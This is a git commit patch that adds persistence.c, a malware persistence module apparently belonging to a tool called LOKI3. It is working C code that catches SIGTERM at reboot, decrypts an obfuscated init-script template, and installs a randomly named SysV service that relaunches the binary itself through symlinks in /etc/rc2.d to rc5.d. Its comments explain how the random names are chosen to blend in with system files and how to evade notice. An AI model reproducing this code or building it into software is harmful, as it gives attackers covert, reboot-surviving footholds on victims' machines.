From eeac69b2168c5a65f9608771006ccc43033cbd23 Mon Sep 17 00:00:00 2001 From: daniel Date: Wed, 7 May 2025 09:45:50 -0700 Subject: initial commit --- persistence.c | 117 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 persistence.c (limited to 'persistence.c') diff --git a/persistence.c b/persistence.c new file mode 100644 index 0000000..3d6a42c --- /dev/null +++ b/persistence.c @@ -0,0 +1,117 @@ +/* + * LOKI3 + * + * [ persistence.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#ifdef PERSISTENCE +#include "loki.h" +#include "persistence.h" + + +extern estring S_SYSV_SERVICE; + + +/* + * Generate a random string. + * Used the character set because it blended in with files in /bin: + * % strings * |grep ABC |sort |uniq -c |sort -n + * ...snip... + * 257 0123456789ABCDEF <--- pretty common alphanumeric string. + */ +static void random_string(char *dst, size_t len) { + char character_set[] = "0123456789ABCDEF"; + + while (len--) { + *dst++ = character_set[rand() % (sizeof(character_set) - 1)]; + } + + *dst = '\0'; +} + +static void random_string_range(char *dst, size_t lower, size_t upper) { + int len; + + len = (rand() % (upper - lower + 1)) + lower; + random_string(dst, len); +} + + +/* + * SIGTERM handler. This will be caught when the `reboot` command is + * issued, or `kill our_pid_here`. + * + * This persistence sets up a SysV service when SIGTERM is caught. reboot + * and init 6 first attempt to send all process the SIGTERM signal so they + * may gracefully exit. We take advantage of this and gracefully exit by + * installing persistence. + */ +void handle_sigterm(int signo) { + /* create init script and symlinks */ + FILE *fp; + char self[PATH_MAX + 1]; + char service_name[16]; + char str[8192]; + char *dbuf; + size_t n; + + + random_string_range(service_name, 4, sizeof(service_name)); + + fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this + if (fp == NULL) { + perror("fopen"); + return; + } + + n = readlink("/proc/self/exe", self, sizeof(self)); + if (n == -1) { + perror("readlink"); + return; + } + + dbuf = decrypt(S_SYSV_SERVICE); + snprintf(str, sizeof(str), dbuf, + /* "#!/bin/sh\n" */ + /* "### BEGIN INIT INFO\n" */ + /* "# Provides: %s\n" */ + /* "# Default-Start: 2 3 4 5\n" */ + /* "# Default-Stop: 0 1 6\n" */ + /* "# Short-Description: %s\n" */ + /* "# Description: %s\n" */ + /* "### END INIT INFO\n\n" */ + /* "case \"$1\" in\n" */ + /* " start)\n" */ + /* " %s &\n" */ + /* " ;;\n" */ + /* "esac\n" */ + /* "exit 0\n", */ + service_name, service_name, service_name, self); + destroy(dbuf, S_SYSV_SERVICE.size); + + fputs(str, fp); + + // TODO error checking + chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); + symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these + symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY); + + fclose(fp); +} + +/* + * Remove persistence files and symlinks. + */ +void unlink_persistence() { + // TODO error checking + unlink(INIT_SCRIPT); + unlink("/etc/rc2.d/" PRIORITY); + unlink("/etc/rc3.d/" PRIORITY); + unlink("/etc/rc4.d/" PRIORITY); + unlink("/etc/rc5.d/" PRIORITY); +} +#endif /* PERSISTENCE */ -- cgit v1.2.3